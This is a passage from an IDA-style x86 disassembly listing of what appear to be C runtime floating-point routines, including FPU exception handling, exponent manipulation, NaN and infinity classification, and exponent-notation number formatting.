		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43CF20
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43CF10
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43CF20
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43CF20
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43CF10
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43CF10
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB928, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB928, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43CE38


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43CF10
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43CE3C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43CF38
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43CF38
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43CF44
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 2830635h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 28503A1h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43CBB4, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C9A8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43CBB8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43CBB8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43CF60o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB9C0, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB9BC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43CBB8
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB9C0, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB9C0, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB9C4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB9BC
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43CBB8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB9C0, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


